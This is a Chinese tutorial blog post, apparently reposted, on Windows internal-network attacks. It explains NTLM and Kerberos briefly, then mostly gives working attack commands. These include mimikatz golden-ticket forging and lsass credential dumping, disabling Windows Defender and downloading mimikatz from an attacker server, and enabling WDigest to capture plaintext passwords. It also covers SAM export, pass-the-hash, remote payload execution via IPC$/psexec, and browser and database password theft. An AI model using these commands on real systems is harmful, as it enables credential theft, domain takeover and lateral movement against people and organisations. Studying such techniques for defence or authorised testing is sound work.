【内网安全攻防】windows认证&密码抓取
2021/7/16 7:06:11
本文主要是介绍【内网安全攻防】windows认证&密码抓取,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
文章目录
- 基础知识
- windows版本历史
- 一、工作组部分
- 密码存放在哪里?
- NTML Hash
- windows本地认证
- windows网络认证
- NTML v1与v2
- 二、域部分
- kerbero协议
- 白银票据
- 黄金票据
- windows密码导出
- lsass进程抓取
- mimikatz直接操作lsass进程
- procdump+mimikatz
- Windows Server 2016抓取明文密码
- sam文件(密文,需要破解,或者通过hash传递使用)
- 用工具读取sam文件
- 注册表导出sam文件
- 使用mimipenguin获取linux明文登录密码
- windows凭据
- 抓到密码之后的hash传递
- 浏览器密码
- 数据库密码
- 信息收集一把梭工具Seatbelt
- 电脑上的敏感文件
基础知识
windows版本历史
windows历史版本:
1985:Windows 1.0 1987:Windows 2.0 1990:Windows 3.0 1995:Windows 95 1998:Windows 98 2000:Windows ME/ Windows 2000 Server 2001:Windows XP 2003:Windows Server 2003 2005:Windows Server 2003 R2 2006:Windows Vista 2008:Windows Server 2008 2009:Windows 7/ Windows Server 2008 R2 2012:Windows 8/ Windows 8.1 / Windows Server 2012 2013:Windows Server 2012 R2 2015:Windows 10 2016:Windows Server 2016 2019:Windows Server 2019 2021:Windows 11
一、工作组部分
密码存放在哪里?
一般都在C:\Windows\System32\config\SAM
当我们登录系统的时候,系统会自动地读取SAM文件中的“密码”与我们输入的“密码"进行比对,如果相同,证明认证成功!
NTML Hash
简介:
产生:
实验一下,16进制编码
str = binascii.hexlify("admin".encode()) #b'61646d696e'
unicode编码,两位一组,然后在后面加00(看图上是这么搞的)
n=2 strs = [str[i:i+n] for i in range(0, len(str), n)] for i in strs: str += i+"00" print(str) #610064006d0069006e00
md4加密,这一步算出来就不对了,试了半天都不对
>>> hashlib.new('md4',str.encode()).hexdigest() 'c477236e88a7ae62a59e54e444612724'
放弃,直接使用python2的passlib中的nthash一把梭,sucess!
>>> from passlib.hash import nthash >>> h = nthash.hash('admin') >>> h '209c6174da490caeb422f3fa5a7ae634'
windows本地认证
windows网络认证
网络认证也很简单,服务端随机产生一个16位的challenge,然后服务端,客户端都使用自己手里的ntml hash
对challenge
进行加密,服务端对比加密后的是否相等。
NTML v1与v2
不同点:challenge长度不同8和12
,加密算法不同DES和HMAC-MD5
二、域部分
kerbero协议
参考:windows 域认证 Kerberos详解
白银票据
1、目标机器ntml hash
获取到了一台机器的ntml hash,可以直接伪造一个白银票据去访问这台机器
黄金票据
条件:
1、与DC通信
2、krbtgt用户的ntml hash
获取到了DC上krbtgt用户的ntml hash,可以用它伪造黄金票据,可以访问域内所有机器
黄金票据利用:(假设已经拿到域控shell)
先获取krbtgt用户的ntml hash
lsadump::dcsync /domain:hacke.testlab /user:krbtgt
拿到krbtgt用户的ntml hash后,就可以生成黄金票据了,有两种方法生成票据,一种是利用sid krbtgt的ntlm hash
,还有一种是aes256_hmac
生成票据
#使用krbtgt的aes256_hmac值 kerberos::golden /domain:hacke.testlab /sid:S-1-5-21-335331429-2309386428-4146539646/aes256:feff09c189a9dc9ecd37910a1686beadd568c589e8a36ac bffec5cea3ee4d119 /user:Administrator /ticket:test.kirbi #使用krbtgt的ntlm hash值 kerberos::golden /domain:hacke.testlab /sid:S-1-5-21-335331429-2309386428-4146539646 /krbtgt:524f4bed4b8a362bda1a560b9779eadf /user:Administrator /ticket:test.kirbi
注:sid最后的-502是不需要的,例如我这里是S-1-5-21-335331429-2309386428-4146539646-502,那么就填S-1-5-21-335331429-2309386428-4146539646
查看票据是否生成
klist
利用:
先把生成的票据复制出来
copy \\10.1.1.2\c$\test.kirbi c:\
然后运行mimikatz
#导入票据 kerberos::ptt test.kirbi #检验缓存票据 klist #利用票据访问 net use \\xx.xx.xx.xx dir \\xx.xx.xx.xx\c$
windows密码导出
windows密码导出分为两种方式,一种是在内存中读取,还有一种是读取sam文件。
lsass进程抓取
mimikatz直接操作lsass进程
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
注:因为它是从 lsass.exe进程中获取windows的账号密码,而每次关机重启后,lsass进程中的账号信息都会清空,所以只能抓到上次关机后登录过的账号密码的信息
procdump+mimikatz
procdump有windows的签名,一般不会被杀,可以用它导出lsass.dmp之后,再使用mimikatz导出密码
导出lsass.exe
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
执行mimikatz
mimikatz.exe "log" "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
Windows Server 2016抓取明文密码
#临时禁止Windows Defender REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f gpupdate /force #下载mimikatz后解压缩。 powershell.exe -NoP -NonI -Exec Bypass -Command "& {Import-Module BitsTransfer; Start-BitsTransfer 'http://你的服务器/mimikatz_trunk.zip' "%APPDATA%\mimikatz_trunk.zip"}" #修改注册表开启UseLogonCredential reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f #等用户下次再登录的时候,可抓到明文密码 mimikatz.exe privilege::debug sekurlsa::logonpasswords exit
sam文件(密文,需要破解,或者通过hash传递使用)
用工具读取sam文件
使用mimikatz在线导出密码
mimikatz.exe "privilege::debug" "token::elevate" "log" "lsadump::sam" exit
注册表导出sam文件
管理员权限下执行 cmd
reg save hklm\sam .\sam.hiv reg save hklm\system .\system.hiv
下载到本地 mimikatz 的目录打开 mimikatz
privilege::debug token::elevate lsadump::sam /sam:sam.hiv /system:system.hiv
使用mimipenguin获取linux明文登录密码
下载:https://github.com/huntergregal/mimipenguin
chmod 755 ./mimipenguin.sh ./mimipenguin.sh
windows凭据
只要3389远程登录的时候点击记住凭证即可
查看凭据
cmdkey /list
导出
Import-Module .\Invoke-WCMDump.ps1 Invoke-WCMDump
抓到密码之后的hash传递
工作组环境的认证还是挺简单的,我们在获取到一台机器的hash后可以尝试哈希传递,mimikatz的方法如下:
#先提权 privilege::debug #使用administrator用户的NTLM哈希值进行攻击 sekurlsa::pth /user:Administrator /domain:10.1.1.2 /ntlm:827701888ca1f1c728bef59f733ff69f
在弹出的cmd中,我们还可以直接连接该主机,还可以查看目录文件等操作,这里利用ipc反弹shell的方法我失败了
#将对方c盘映射到z盘 net use Z: \\10.1.1.2\c$ #反弹shell net use \\10.1.1.2\IPC$ copy test.exe \\10.1.1.2\c$ dir \\10.1.1.2\c$ net time \\10.1.1.2 at \\10.1.1.2 10:09 c:\\test.exe # server2016 winrm invoke create wmicimv2/win32_process @{commandline="\\10.1.1.2\c\test.exe"}
在建立了 ipc$ 的情况下:还可以使用psexec获取shell
首先建立 ipc连接,利用mimikatz建立ipc连接也可以
net use \\10.1.1.2 /u:hacke\administrator qwe2242552200QWE
然后执行如下命令,获取 System 权限的 Shell:
psexec.exe -accepteula \\10.1.1.2 -s cmd.exe # -accepteula 第一次运行 PsExec 会弹出确认框,使用该参数就不会弹出确认框 # -s 以System权限运行远程进程,获得一个System权限的交互式Shell,如果不用这个参数,那么会获得一个administrator权限的shell
浏览器密码
这个推荐使用Sharp-HackBrowserData
,下载地址: S3cur3Th1sSh1t /
Sharp-HackBrowserData ,谷歌、火狐、IE、Vivaldi等常见的浏览器都能抓。
使用:
.\Sharp-HackBrowserData.exe
还有的工具比如BrowserGhost等。
数据库密码
SharpDecryptPwd-master,对密码已保存在 Windwos 系统上的部分程序进行解析,包括:Navicat,TeamViewer,FileZilla,WinSCP,Xmangager系列产品
> SharpDecryptPwd.exe Usage: SharpDecryptPwd.exe -NavicatCrypto SharpDecryptPwd.exe -TeamViewer SharpDecryptPwd.exe -FileZilla SharpDecryptPwd.exe -WinSCP SharpDecryptPwd.exe -Xmangager -p Session_Path
数据库密码使用下面这个命令即可
SharpDecryptPwd.exe -NavicatCrypto
信息收集一把梭工具Seatbelt
GhostPack /Seatbelt ,几乎所有你能想到的它都能收集。
使用:
Seatbelt.exe -group=all -full -outputfile="C:\Temp\out.txt"
电脑上的敏感文件
将c盘所有文件的文件名写入logc.txt里
dir /s /a c:\ > logc.txt
找出所有包含password的文件
findstr /si password *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
这篇关于【内网安全攻防】windows认证&密码抓取的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-11-23Springboot应用的多环境打包入门
- 2024-11-23Springboot应用的生产发布入门教程
- 2024-11-23Python编程入门指南
- 2024-11-23Java创业入门:从零开始的编程之旅
- 2024-11-23Java创业入门:新手必读的Java编程与创业指南
- 2024-11-23Java对接阿里云智能语音服务入门详解
- 2024-11-23Java对接阿里云智能语音服务入门教程
- 2024-11-23JAVA对接阿里云智能语音服务入门教程
- 2024-11-23Java副业入门:初学者的简单教程
- 2024-11-23JAVA副业入门:初学者的实战指南